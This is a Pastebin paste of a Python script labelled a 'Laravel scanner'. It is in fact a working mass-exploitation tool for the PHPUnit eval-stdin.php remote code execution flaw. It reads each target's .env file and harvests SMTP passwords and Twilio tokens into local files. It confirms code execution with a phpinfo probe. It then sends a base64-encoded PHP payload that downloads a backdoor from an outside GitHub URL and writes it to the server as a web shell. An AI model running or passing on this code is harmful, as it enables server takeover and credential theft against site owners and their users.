H1RUK4

LARAVEL Scanner 2020

Jun 23rd, 2020
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.63 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2.  
  3. banner = """
  4.        ,----,                        ,--,                                                       ,----,
  5.      ,/   .`|                     ,---.'|                  ,--.  ,----..            ,--.      ,/   .`|
  6.    ,`   .'  :        .---.   ,---,|   | :      ,---,   ,--/  /| /   /   \        ,--.'|    ,`   .'  :
  7.  ;    ;     /       /. ./|,`--.' |:   : |   ,`--.' |,---,': / '/   .     :    ,--,:  : |  ;    ;     /
  8. .'___,/    ,'    .--'.  ' ;|   :  :|   ' :   |   :  ::   : '/ /.   /   ;.  \,`--.'`|  ' :.'___,/    ,'  
  9. |    :     |    /__./ \ : |:   |  ';   ; '   :   |  '|   '   ,.   ;   /  ` ;|   :  :  | ||    :     |  
  10. ;    |.';  ;.--'.  '   \' .|   :  |'   | |__ |   :  |'   |  / ;   |  ; \ ; |:   |   \ | :;    |.';  ;  
  11. `----'  |  /___/ \ |    ' ''   '  ;|   | :.'|'   '  ;|   ;  ; |   :  | ; | '|   : '  '; |`----'  |  |  
  12.    '   :  ;   \ \;      :|   |  |'   :    ;|   |  |:   '   \.   |  ' ' ' :'   ' ;.    ;    '   :  ;  
  13.    |   |  '\  ;  `      |'   :  ;|   |  ./ '   :  ;|   |    '   ;  \; /  ||   | | \  |    |   |  '  
  14.    '   :  | .   \   .\ ;|   |  ';   : ;   |   |  ''   : |.  \  \ ',  / '   : |  ; .'    '   :  |  
  15.    ;   |.'   \  \  ' \ |'   :  ||   ,/    '   :  ||   | '_\.';   :    /  |   | '`--'      ;   |.'    
  16.    '---'      :   '  |--" ;   |.' '---'     ;   |.' '   : |     \  \ .'   '   : |          '---'      
  17.                \  \ ;    '---'             '---'   ;   |,'      `---`     ;   |.'                    
  18.                 '---"                               '---'                  '---'                      
  19.                                                                                                        
  20. """
  21. import requests, re, sys, threading
  22. from  time import sleep
  23. from urlparse import urlparse
  24. requests.packages.urllib3.disable_warnings()
  25. import threading, time, random
  26. from Queue import Queue
  27. from threading import *
  28. screenlock = Semaphore(value=1)
  29.  
  30. vuln = 0
  31. bad = 0
  32. shel = 0
  33. smtp = 0
  34. api_twillio = 0
  35.  
  36. def get_twillio(url):
  37.     global api_twillio
  38.     fin = url.replace("/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/.env")
  39.         try:
  40.                 spawn = requests.get(fin, timeout=15, verify=False).text
  41.                 if "TWILIO" in spawn:
  42.                         acc_sid = re.findall("\nTWILIO_ACCOUNT_SID=(.*?)\n", spawn)[0]
  43.                         token = re.findall("\nTWILIO_AUTH_TOKEN=(.*?)\n", spawn)[0]
  44.                         phone = re.findall("\nTWILIO_PHONE=(.*?)\n", spawn)[0]
  45.                         sid = re.findall("\nTWILIO_SID=(.*?)\n", spawn)[0]
  46.                         screenlock.acquire()
  47.                         print("\033[44m -- TWILIO -- \033[0m "+fin)
  48.                         api_twillio = api_twillio + 1
  49.                         file = open("twilio.txt","a")
  50.                         geturl = fin.replace(".env","")
  51.                         pack = geturl+"|"+acc_sid+"|"+token+"|"+phone+"|"+sid
  52.                         file.write(pack+"\n")
  53.                         file.close()
  54.                         screenlock.release()
  55.         except KeyboardInterrupt:
  56.                 print("Closed")
  57.                 exit()
  58.         except:
  59.                 pass
  60.  
  61. def get_smtp(url):
  62.         global smtp
  63.         fin = url.replace("/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/.env")
  64.         try:
  65.                 spawn = requests.get(fin, timeout=15, verify=False).text
  66.                 if "MAIL_HOST" in spawn and "MAIL_USERNAME" in spawn:
  67.                         host = re.findall("\nMAIL_HOST=(.*?)\n", spawn)[0]
  68.                         port = re.findall("\nMAIL_PORT=(.*?)\n", spawn)[0]
  69.                         user = re.findall("\nMAIL_USERNAME=(.*?)\n", spawn)[0]
  70.                         pasw = re.findall("\nMAIL_PASSWORD=(.*?)\n", spawn)[0]
  71.                         if user == "null" or pasw == "null" or user == "" or pasw == "":
  72.                                 pass
  73.                         if "mailtrap" in user:
  74.                                 pass
  75.                         else:
  76.                                 screenlock.acquire()
  77.                                 print("\033[44m -- SMTP -- \033[0m "+fin)
  78.                                 smtp = smtp + 1
  79.                                 file = open("smtp.txt","a")
  80.                                 geturl = fin.replace(".env","")
  81.                                 pack = geturl+"|"+host+"|"+port+"|"+user+"|"+pasw
  82.                                 file.write(pack+"\n")
  83.                                 file.close()
  84.                                 screenlock.release()
  85.         except KeyboardInterrupt:
  86.                 print("Closed")
  87.                 exit()
  88.         except:
  89.                 pass
  90.  
  91. def exploit(url):
  92.         get_smtp(url)
  93.         get_twillio(url)
  94.         global vuln
  95.         global bad
  96.         global shel
  97.         try:
  98.                 data = "<?php phpinfo(); ?>"
  99.                 text = requests.get(url, data=data, timeout=15, verify=False)
  100.                 if "phpinfo" in text.text:
  101.                         screenlock.acquire()
  102.                         print("\033[42;1m -- VULN -- \033[0m "+url)
  103.                         screenlock.release()
  104.                         vuln = vuln + 1
  105.                         wre = open("vulnerable.txt", "a")
  106.                         wre.write(url+"\n")
  107.                         wre.close()
  108.                         data2 = "<?php eval('?>'.base64_decode('PD9waHAgPz48P3BocA0KZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7DQogICAgJGZwID0gZm9wZW4oJGlzaSwgInciKTsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQklOQVJZVFJBTlNGRVIsIHRydWUpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7DQogICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOw0KICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICBmY2xvc2UoJGZwKTsNCiAgICBvYl9mbHVzaCgpOw0KICAgIGZsdXNoKCk7DQp9DQppZiAoYWRtaW5lcigiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3plcm9ieXRlLWlkL1BIUC1CYWNrZG9vci9tYXN0ZXIvMGJ5dDNtMW4xLzBieXQzbTFuMS5waHAiLCAiaXp4LnBocCIpKSB7DQogICAgZWNobyAiU3Vrc2VzIjsNCn0gZWxzZSB7DQogICAgZWNobyAiZmFpbCI7DQp9DQo/Pg==')); ?>"
  109.                         spawn = requests.get(url, data=data2, timeout=15, verify=False)
  110.                         if "Sukses" in spawn.text:
  111.                                 screenlock.acquire()
  112.                                 print("     \033[42;1m | \033[0m Shell Spawned")
  113.                                 screenlock.release()
  114.                                 shel = shel + 1
  115.                                 wrs = open("shells.txt", "a")
  116.                                 pathshell = url.replace("eval-stdin.php","izx.php")
  117.                                 wrs.write(pathshell+"\n")
  118.                                 wrs.close()
  119.                         else:
  120.                                 screenlock.acquire()
  121.                                 print("     \033[41;1m | \033[0m Fail Spawn Shell")
  122.                                 screenlock.release()
  123.                 else:
  124.                         screenlock.acquire()
  125.                         print("\033[41;1m -- BAAD -- \033[0m "+url)
  126.                         screenlock.release()
  127.                         bad = bad + 1
  128.         except KeyboardInterrupt:
  129.                 print("Closed")
  130.                 exit()
  131.         except Exception as err:
  132.                 screenlock.acquire()
  133.                 print("\033[43;1m -- ERRN -- \033[0m "+url)
  134.                 screenlock.release()
  135.                 bad = bad + 1
  136. try:
  137.         list = sys.argv[1]
  138. except:
  139.         print "\033[31;1m"+banner+"\033[0m"
  140.         print("\n\n# python2.7 l-evil.py list.txt")
  141.         exit()
  142. asu = open(list).read().splitlines()
  143. jobs = Queue()
  144. def do_stuff(q):
  145.         while not q.empty():
  146.                 i = q.get()
  147.                 exp = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
  148.                 if i.startswith("http"):
  149.                         url = i+exp
  150.                         exploit(url)
  151.                 else:
  152.                         url = "http://"+i+exp
  153.                         exploit(url)
  154.                 q.task_done()
  155.  
  156. for trgt in asu:
  157.         jobs.put(trgt)
  158.  
  159. for i in range(30): # Default 10 Thread Ganti Aja Kalau Mau
  160.         worker = threading.Thread(target=do_stuff, args=(jobs,))
  161.         worker.start()
  162. jobs.join()
  163. print("\033[44mSMTP            : \033[0m "+str(smtp))
  164. print("\033[44mTWILIO           : \033[0m "+str(api_twillio))
  165. print("\033[42;1mSpawned Shell : \033[0m "+str(shel))
  166. print("\033[43;1mExploited       : \033[0m "+str(vuln))
  167. print("\033[41;1mNot Vulnerable : \033[0m "+str(bad))
Add Comment
Please, Sign In to add comment